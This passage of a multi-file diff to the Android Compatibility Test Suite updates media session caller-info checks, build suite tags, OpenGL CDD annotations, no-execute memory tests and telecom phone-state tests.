+            injectInputEvent(KeyEvent.KEYCODE_HEADSETHOOK, false);
+            // (3): dispatch through controller
+            session.getController().dispatchMediaButtonEvent(event);
+
+            // Creating another controller.
+            MediaController controller = new MediaController(context, session.getSessionToken());
+            // (4): dispatch through different controller.
+            controller.dispatchMediaButtonEvent(event);
+            // (5): dispatch through the same controller
+            controller.dispatchMediaButtonEvent(event);
+
+            // Wait.
+            assertTrue(callback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            // Caller of (1) ~ (4) shouldn't be the same as any others.
+            for (int i = 0; i < 4; i ++) {
+                for (int j = 0; j < i; j++) {
+                    assertNotSame(callback.mCallers.get(i), callback.mCallers.get(j));
+                }
+            }
+            // Caller of (5) should be the same as (4), since they're called from the same
+            assertEquals(callback.mCallers.get(3), callback.mCallers.get(4));
+        } finally {
+            if (session != null) {
+                session.release();
+            }
+        }
     }
 
     private class VolumeKeyLongPressListener
@@ -248,10 +303,13 @@
 
     private class MediaSessionCallback extends MediaSession.Callback {
         private final CountDownLatch mCountDownLatch;
+        private final MediaSession mSession;
         private final List<KeyEvent> mKeyEvents = new ArrayList<>();
+        private final List<MediaSessionManager.RemoteUserInfo> mCallers = new ArrayList<>();
 
-        private MediaSessionCallback(int count) {
+        private MediaSessionCallback(int count, MediaSession session) {
             mCountDownLatch = new CountDownLatch(count);
+            mSession = session;
         }
 
         public boolean onMediaButtonEvent(Intent mediaButtonIntent) {
@@ -259,6 +317,7 @@
                     Intent.EXTRA_KEY_EVENT);
             assertNotNull(event);
             mKeyEvents.add(event);
+            mCallers.add(mSession.getCurrentControllerInfo());
             mCountDownLatch.countDown();
             return true;
         }

diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTest.java b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
index dd42ca7..1b0b2a7 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionTest.java

@@ -16,6 +16,7 @@
 package android.media.cts;
 
 import static android.media.AudioAttributes.USAGE_GAME;
+import static android.media.cts.Utils.compareRemoteUserInfo;
 
 import android.app.PendingIntent;
 import android.content.ComponentName;
@@ -341,43 +342,43 @@
         simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY);
         assertTrue(sessionCallback.await(TIME_OUT_MS));
         assertEquals(1, sessionCallback.mOnPlayCalledCount);
-        assertEquals(mKeyDispatcherInfo, sessionCallback.mCallerInfo);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
 
         sessionCallback.reset(1);
         simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PAUSE);
         assertTrue(sessionCallback.await(TIME_OUT_MS));
         assertTrue(sessionCallback.mOnPauseCalled);
-        assertEquals(mKeyDispatcherInfo, sessionCallback.mCallerInfo);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
 
         sessionCallback.reset(1);
         simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_NEXT);
         assertTrue(sessionCallback.await(TIME_OUT_MS));
         assertTrue(sessionCallback.mOnSkipToNextCalled);
-        assertEquals(mKeyDispatcherInfo, sessionCallback.mCallerInfo);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
 
         sessionCallback.reset(1);
         simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PREVIOUS);
         assertTrue(sessionCallback.await(TIME_OUT_MS));
         assertTrue(sessionCallback.mOnSkipToPreviousCalled);
-        assertEquals(mKeyDispatcherInfo, sessionCallback.mCallerInfo);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
 
         sessionCallback.reset(1);
         simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_STOP);
         assertTrue(sessionCallback.await(TIME_OUT_MS));
         assertTrue(sessionCallback.mOnStopCalled);
-        assertEquals(mKeyDispatcherInfo, sessionCallback.mCallerInfo);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
 
         sessionCallback.reset(1);
         simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_FAST_FORWARD);
         assertTrue(sessionCallback.await(TIME_OUT_MS));
         assertTrue(sessionCallback.mOnFastForwardCalled);
-        assertEquals(mKeyDispatcherInfo, sessionCallback.mCallerInfo);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
 
         sessionCallback.reset(1);
         simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_REWIND);
         assertTrue(sessionCallback.await(TIME_OUT_MS));
         assertTrue(sessionCallback.mOnRewindCalled);
-        assertEquals(mKeyDispatcherInfo, sessionCallback.mCallerInfo);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
 
         // Test PLAY_PAUSE button twice.
         // First, simulate PLAY_PAUSE button while in STATE_PAUSED.
@@ -386,7 +387,7 @@
         simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
         assertTrue(sessionCallback.await(TIME_OUT_MS));
         assertEquals(1, sessionCallback.mOnPlayCalledCount);
-        assertEquals(mKeyDispatcherInfo, sessionCallback.mCallerInfo);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
 
         // Next, simulate PLAY_PAUSE button while in STATE_PLAYING.
         sessionCallback.reset(1);
@@ -394,7 +395,7 @@
         simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
         assertTrue(sessionCallback.await(TIME_OUT_MS));
         assertTrue(sessionCallback.mOnPauseCalled);
-        assertEquals(mKeyDispatcherInfo, sessionCallback.mCallerInfo);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
 
         // Double tap of PLAY_PAUSE is the next track instead of changing PLAY/PAUSE.
         sessionCallback.reset(2);
@@ -405,7 +406,7 @@
         assertTrue(sessionCallback.mOnSkipToNextCalled);
         assertEquals(0, sessionCallback.mOnPlayCalledCount);
         assertFalse(sessionCallback.mOnPauseCalled);
-        assertEquals(mKeyDispatcherInfo, sessionCallback.mCallerInfo);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
 
         // Test if PLAY_PAUSE double tap is considered as two single taps when another media
         // key is pressed.
@@ -417,7 +418,7 @@
         assertTrue(sessionCallback.await(TIME_OUT_MS));
         assertEquals(2, sessionCallback.mOnPlayCalledCount);
         assertTrue(sessionCallback.mOnStopCalled);
-        assertEquals(mKeyDispatcherInfo, sessionCallback.mCallerInfo);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
 
         // Test if media keys are handled in order.
         sessionCallback.reset(2);
@@ -427,7 +428,7 @@
         assertTrue(sessionCallback.await(TIME_OUT_MS));
         assertEquals(1, sessionCallback.mOnPlayCalledCount);
         assertTrue(sessionCallback.mOnStopCalled);
-        assertEquals(mKeyDispatcherInfo, sessionCallback.mCallerInfo);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
         synchronized (mWaitLock) {
             assertEquals(PlaybackState.STATE_STOPPED,
                     mSession.getController().getPlaybackState().getState());

diff --git a/tests/tests/media/src/android/media/cts/Utils.java b/tests/tests/media/src/android/media/cts/Utils.java
index 89bf81b..753da4e 100644
--- a/tests/tests/media/src/android/media/cts/Utils.java
+++ b/tests/tests/media/src/android/media/cts/Utils.java

@@ -19,16 +19,14 @@
 import android.app.Instrumentation;
 import android.app.NotificationManager;
 import android.app.UiAutomation;
-import android.content.ContentResolver;
 import android.content.Context;
 import android.media.AudioManager;
 import android.media.AudioPlaybackConfiguration;
 import android.media.MediaPlayer;
+import android.media.session.MediaSessionManager.RemoteUserInfo;
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.ParcelFileDescriptor;
-import android.provider.Settings;
-import com.google.android.collect.Lists;
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.io.InputStream;
@@ -113,6 +111,17 @@
                 nm.isNotificationPolicyAccessGranted());
     }
 
+    static boolean compareRemoteUserInfo(RemoteUserInfo a, RemoteUserInfo b) {
+        if (a == null && b == null) {
+            return true;
+        } else if (a == null || b == null) {
+            return false;
+        }
+        return a.getPackageName().equals(b.getPackageName())
+                && a.getPid() == b.getPid()
+                && a.getUid() == b.getUid();
+    }
+
     /**
      * Assert that a media playback is started and an active {@link AudioPlaybackConfiguration}
      * is created once. The playback will be stopped immediately after that.

diff --git a/tests/tests/multiuser/Android.mk b/tests/tests/multiuser/Android.mk
index 7c9ca7e..45a1003 100644
--- a/tests/tests/multiuser/Android.mk
+++ b/tests/tests/multiuser/Android.mk

@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 

diff --git a/tests/tests/net/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/net/src/android/net/wifi/rtt/cts/WifiRttTest.java
index 5995bbd..1171a6b 100644
--- a/tests/tests/net/src/android/net/wifi/rtt/cts/WifiRttTest.java
+++ b/tests/tests/net/src/android/net/wifi/rtt/cts/WifiRttTest.java

@@ -165,6 +165,10 @@
                     (distanceMax - distanceAvg) <= MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM);
             assertTrue("Wi-Fi RTT: Variation (min direction) exceeds threshold",
                     (distanceAvg - distanceMin) <= MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM);
+            for (int i = 0; i < numGoodResults; ++i) {
+                assertNotSame("Number of attempted measurements is 0", 0, numAttempted[i]);
+                assertNotSame("Number of successful measurements is 0", 0, numSuccessful[i]);
+            }
         }
     }
 

diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk
index 6dc6c5d..7a11df4 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk

@@ -32,5 +32,5 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-LOCAL_SDK_VERSION := 26
+LOCAL_SDK_VERSION := current
 include $(BUILD_CTS_PACKAGE)

diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml
index bec926e..c159580 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml

@@ -17,7 +17,8 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.security.net.config.cts.CtsNetSecConfigPrePCleartextTrafficTestCases">
+  package="android.security.net.config.cts.CtsNetSecConfigPrePCleartextTrafficTestCases">
+  <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26" />
   <application android:networkSecurityConfig="@xml/network_security_config">
       <uses-library android:name="android.test.runner"/>
       <uses-library android:name="org.apache.http.legacy" />

diff --git a/tests/tests/neuralnetworks/src/TestGenerated.cpp b/tests/tests/neuralnetworks/src/TestGenerated.cpp
index b9044fe..e0f1ff2 100644
--- a/tests/tests/neuralnetworks/src/TestGenerated.cpp
+++ b/tests/tests/neuralnetworks/src/TestGenerated.cpp

@@ -15,4 +15,4 @@
  */
 
 // Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
-#include "test/TestGenerated.cpp"
+#include "test/for-cts/TestGeneratedOneFile.cpp"

diff --git a/tests/tests/opengl/Android.mk b/tests/tests/opengl/Android.mk
index f9a36eb..03d6083 100644
--- a/tests/tests/opengl/Android.mk
+++ b/tests/tests/opengl/Android.mk

@@ -29,7 +29,7 @@
 
 LOCAL_JNI_SHARED_LIBRARIES := libopengltest_jni
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 

diff --git a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
index 8d1f33e..b8f334d 100644
--- a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java

@@ -31,6 +31,8 @@
 import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -73,6 +75,7 @@
         mActivity = mActivityRule.getActivity();
     }
 
+    @CddTest(requirement="7.1.4.1/C-0-1")
     @Test
     public void testOpenGlEsVersion() throws InterruptedException {
         int detectedMajorVersion = getDetectedMajorVersion();
@@ -91,6 +94,7 @@
         }
     }
 
+    @CddTest(requirement="7.1.4.1/C-2-2")
     @Test
     public void testRequiredExtensions() throws InterruptedException {
         int reportedVersion = getVersionFromActivityManager(mActivity);
@@ -116,6 +120,7 @@
         }
     }
 
+    @CddTest(requirement="7.1.4.1/C-2-1,C-5-1,C-4-1")
     @Test
     public void testExtensionPack() throws InterruptedException {
         // Requirements:
@@ -144,7 +149,7 @@
             + (hasAepExtension ? "" : "not ") + "in the OpenGL ES extension list.",
             hasAepFeature, hasAepExtension);
     }
-
+    @CddTest(requirement="7.9.2/C-1-4")
     @Test
     public void testOpenGlEsVersionForVrHighPerformance() throws InterruptedException {
         if (!supportsVrHighPerformance())
@@ -160,6 +165,7 @@
             (major == 3 && minor >= 2) || major > 3);
     }
 
+    @CddTest(requirement="7.9.2/C-1-6,C-1-8")
     @Test
     public void testRequiredExtensionsForVrHighPerformance() throws InterruptedException {
         if (!supportsVrHighPerformance())
@@ -201,7 +207,7 @@
                 requiredEglList[i], hasExtension(extensions, requiredEglList[i]));
         }
     }
-
+    @CddTest(requirement="7.1.4.1/C-6-1")
     @Test
     public void testRequiredEglExtensions() {
         // See CDD section 7.1.4
@@ -345,6 +351,7 @@
      * Check that the version string has the form "OpenGL ES(-CM)? (\d+)\.(\d+)", where the two
      * numbers match the major and minor parameters.
      */
+    @CddTest(requirement="7.1.4.1/C-0-1")
     private void verifyGlVersionString(int major, int minor) throws InterruptedException {
         Matcher matcher = Pattern.compile("OpenGL ES(?:-CM)? (\\d+)\\.(\\d+).*")
                                  .matcher(mActivity.getVersionString());

diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index 7cc67ae..8f12610 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk

@@ -56,10 +56,11 @@
 # Do not compress minijail policy files.
 LOCAL_AAPT_FLAGS := -0 .policy
 
-# Disable AAPT2 to fix:
+LOCAL_USE_AAPT2 := true
+# Disable AAPT2 manifest checks to fix:
 # cts/tests/tests/os/AndroidManifest.xml:25: error: unexpected element <meta-data> found in <manifest><permission>.
-# TODO(b/79755007): Re-enable AAPT2 when it supports the missing features.
-LOCAL_USE_AAPT2 := false
+# TODO(b/79755007): Remove when AAPT2 recognizes the manifest elements.
+LOCAL_AAPT_FLAGS += --warn-manifest-validation
 
 include $(BUILD_CTS_PACKAGE)
 

diff --git a/tests/tests/os/jni/android_os_cts_NoExecutePermissionTest.cpp b/tests/tests/os/jni/android_os_cts_NoExecutePermissionTest.cpp
index 5425fde..5c1376b 100644
--- a/tests/tests/os/jni/android_os_cts_NoExecutePermissionTest.cpp
+++ b/tests/tests/os/jni/android_os_cts_NoExecutePermissionTest.cpp

@@ -45,11 +45,6 @@
     return retval;
 }
 
-static jboolean android_os_cts_NoExecutePermissionTest_isMyCodeExecutable(JNIEnv*, jobject)
-{
-    return isAddressExecutable((uintptr_t) __builtin_return_address(0));
-}
-
 static jboolean android_os_cts_NoExecutePermissionTest_isStackExecutable(JNIEnv*, jobject)
 {
     unsigned int foo;
@@ -70,8 +65,6 @@
 }
 
 static JNINativeMethod gMethods[] = {
-    {  "isMyCodeExecutable", "()Z",
-            (void *) android_os_cts_NoExecutePermissionTest_isMyCodeExecutable  },
     {  "isStackExecutable", "()Z",
             (void *) android_os_cts_NoExecutePermissionTest_isStackExecutable  },
     {  "isHeapExecutable", "()Z",

diff --git a/tests/tests/os/src/android/os/cts/NoExecutePermissionTest.java b/tests/tests/os/src/android/os/cts/NoExecutePermissionTest.java
index 83458e9..b2d6e89 100644
--- a/tests/tests/os/src/android/os/cts/NoExecutePermissionTest.java
+++ b/tests/tests/os/src/android/os/cts/NoExecutePermissionTest.java

@@ -48,10 +48,6 @@
         assertFalse(isHeapExecutable());
     }
 
-    public void testExecuteCode() {
-        assertTrue(isMyCodeExecutable());
-    }
-
     private static boolean cpuHasNxSupport() {
         if (CpuFeatures.isArmCpu() && !CpuFeatures.isArm7Compatible()) {
             // ARM processors before v7 do not have NX support.
@@ -70,5 +66,4 @@
 
     private static native boolean isStackExecutable();
     private static native boolean isHeapExecutable();
-    private static native boolean isMyCodeExecutable();
 }

diff --git a/tests/tests/permission/Android.mk b/tests/tests/permission/Android.mk
index e924392..0172716 100644
--- a/tests/tests/permission/Android.mk
+++ b/tests/tests/permission/Android.mk

@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both

diff --git a/tests/tests/permission/AppThatRequestPermissionAandB/Android.mk b/tests/tests/permission/AppThatRequestPermissionAandB/Android.mk
index 04bd15a..f34edab 100644
--- a/tests/tests/permission/AppThatRequestPermissionAandB/Android.mk
+++ b/tests/tests/permission/AppThatRequestPermissionAandB/Android.mk

@@ -23,7 +23,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 

diff --git a/tests/tests/permission/AppThatRequestPermissionAandC/Android.mk b/tests/tests/permission/AppThatRequestPermissionAandC/Android.mk
index ee3218d..e459558 100644
--- a/tests/tests/permission/AppThatRequestPermissionAandC/Android.mk
+++ b/tests/tests/permission/AppThatRequestPermissionAandC/Android.mk

@@ -23,7 +23,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 

diff --git a/tests/tests/permission2/Android.mk b/tests/tests/permission2/Android.mk
index 3df1bc9..e44cd14 100755
--- a/tests/tests/permission2/Android.mk
+++ b/tests/tests/permission2/Android.mk

@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 

diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index b20bd67..9eeabaf 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml

@@ -4283,16 +4283,6 @@
             </intent-filter>
         </receiver>
 
-        <receiver android:name="com.android.server.stats.StatsCompanionService$AnomalyAlarmReceiver"
-                  android:permission="android.permission.STATSCOMPANION"
-                  android:exported="false">
-        </receiver>
-
-        <receiver android:name="com.android.server.stats.StatsCompanionService$PullingAlarmReceiver"
-                  android:permission="android.permission.STATSCOMPANION"
-                  android:exported="false">
-        </receiver>
-
         <receiver android:name="com.android.server.am.BatteryStatsService$UsbConnectionReceiver"
                   android:exported="false">
             <intent-filter>

diff --git a/tests/tests/preference/Android.mk b/tests/tests/preference/Android.mk
index dd0ebf7..5398722 100644
--- a/tests/tests/preference/Android.mk
+++ b/tests/tests/preference/Android.mk

@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
 

diff --git a/tests/tests/preference2/Android.mk b/tests/tests/preference2/Android.mk
index 8f1c3a2..8fc5ee2 100644
--- a/tests/tests/preference2/Android.mk
+++ b/tests/tests/preference2/Android.mk

@@ -23,7 +23,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \

diff --git a/tests/tests/print/Android.mk b/tests/tests/print/Android.mk
index aba1b80..c44943d 100644
--- a/tests/tests/print/Android.mk
+++ b/tests/tests/print/Android.mk

@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 

diff --git a/tests/tests/systemui/Android.mk b/tests/tests/systemui/Android.mk
index 2c07248..df7e28b 100644
--- a/tests/tests/systemui/Android.mk
+++ b/tests/tests/systemui/Android.mk

@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
 

diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 76e7743..ae62757 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml

@@ -23,6 +23,7 @@
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.MANAGE_OWN_CALLS" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+    <uses-permission android:name="android.permission.READ_CALL_LOG" />
     <uses-permission android:name="android.permission.REGISTER_CALL_PROVIDER" />
     <uses-permission android:name="android.permission.ACCEPT_HANDOVER" />
 

diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index 15e3797..d9c21e3 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java

@@ -582,7 +582,8 @@
         assertConferenceState(conference, Connection.STATE_ACTIVE);
     }
 
-    void verifyPhoneStateListenerCallbacksForCall(int expectedCallState) throws Exception {
+    void verifyPhoneStateListenerCallbacksForCall(int expectedCallState, String expectedNumber)
+            throws Exception {
         assertTrue(mPhoneStateListener.mCallbackSemaphore.tryAcquire(
                 TestUtils.WAIT_FOR_PHONE_STATE_LISTENER_CALLBACK_TIMEOUT_S, TimeUnit.SECONDS));
         // At this point we can only be sure that we got AN update, but not necessarily the one we
@@ -598,12 +599,16 @@
                                                   return mPhoneStateListener.mCallStates
                                                           .stream()
                                                           .filter(p -> p.first.equals(
-                                                                  expectedCallState))
+                                                                  expectedCallState)
+                                                                  && p.second.equals(
+                                                                  expectedNumber))
                                                           .count() > 0;
                                               }
                                           },
                 WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
-                "Expected call state " + expectedCallState);
+                "Expected call state " + expectedCallState + " and number "
+                        + expectedNumber);
+
 
         // Get the most recent callback; it is possible that there was an initial state reported due
         // to the fact that TelephonyManager will sometimes give an initial state back to the caller
@@ -611,7 +616,10 @@
         Pair<Integer, String> callState = mPhoneStateListener.mCallStates.get(
                 mPhoneStateListener.mCallStates.size() - 1);
         assertEquals(expectedCallState, (int) callState.first);
-        assertEquals(getTestNumber().getSchemeSpecificPart(), callState.second);
+        // Note: We do NOT check the phone number here.  Due to changes in how the phone state
+        // broadcast is sent, the caller may receive multiple broadcasts, and the number will be
+        // present in one or the other.  We waited for a full matching broadcast above so we can
+        // be sure the number was reported as expected.
     }
 
     /**

diff --git a/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java b/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
index 472b03b..8317e3d 100644
--- a/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java

@@ -20,6 +20,7 @@
 import static android.telecom.cts.TestUtils.PACKAGE;
 
 import android.content.ComponentName;
+import android.net.Uri;
 import android.os.Bundle;
 import android.telecom.Connection;
 import android.telecom.PhoneAccountHandle;
@@ -54,9 +55,11 @@
             return;
         }
         setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
-        addAndVerifyNewIncomingCall(createTestNumber(), null);
+        Uri testNumber = createTestNumber();
+        addAndVerifyNewIncomingCall(testNumber, null);
         verifyConnectionForIncomingCall();
-        verifyPhoneStateListenerCallbacksForCall(TelephonyManager.CALL_STATE_RINGING);
+        verifyPhoneStateListenerCallbacksForCall(TelephonyManager.CALL_STATE_RINGING,
+                testNumber.getSchemeSpecificPart());
     }
 
     /**

diff --git a/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java b/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
index 6df32f8..049355f 100644
--- a/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java

@@ -101,6 +101,9 @@
 
         placeAndVerifyCall();
         verifyConnectionForOutgoingCall();
-        verifyPhoneStateListenerCallbacksForCall(TelephonyManager.CALL_STATE_OFFHOOK);
+        String expectedNumber = connectionService.outgoingConnections.get(0)
+                .getAddress().getSchemeSpecificPart();
+        verifyPhoneStateListenerCallbacksForCall(TelephonyManager.CALL_STATE_OFFHOOK,
+                expectedNumber);
     }
 }

diff --git a/tests/tests/text/Android.mk b/tests/tests/text/Android.mk
index 1d4d5e3..b56278c 100644
--- a/tests/tests/text/Android.mk
+++ b/tests/tests/text/Android.mk

@@ -35,7 +35,7 @@
 LOCAL_PACKAGE_NAME := CtsTextTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 # Enforce public / test api only
 LOCAL_SDK_VERSION := test_current

diff --git a/tests/tests/toast/Android.mk b/tests/tests/toast/Android.mk
index 99af898..bcf7b7e 100644
--- a/tests/tests/toast/Android.mk
+++ b/tests/tests/toast/Android.mk

@@ -21,7 +21,7 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
 

diff --git a/tests/tests/uiautomation/AndroidManifest.xml b/tests/tests/uiautomation/AndroidManifest.xml
index 6dc28ed..0573a12 100644
--- a/tests/tests/uiautomation/AndroidManifest.xml
+++ b/tests/tests/uiautomation/AndroidManifest.xml

@@ -17,7 +17,8 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.app.uiautomation.cts">
+        package="android.app.uiautomation.cts"
+        android:targetSandboxVersion="2">
 
   <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
   <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />

diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
index f7e8acd..357ffb3 100755
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
+++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java

@@ -24,6 +24,7 @@
 import android.content.Intent;
 import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
 import android.provider.Settings;
 import android.test.InstrumentationTestCase;
@@ -278,6 +279,7 @@
         }
     }
 
+    @AppModeFull
     public void testDontSuppressAccessibility_canStartA11yService() throws IOException,
             InterruptedException {
         turnAccessibilityOff();
@@ -291,6 +293,7 @@
         }
     }
 
+    @AppModeFull
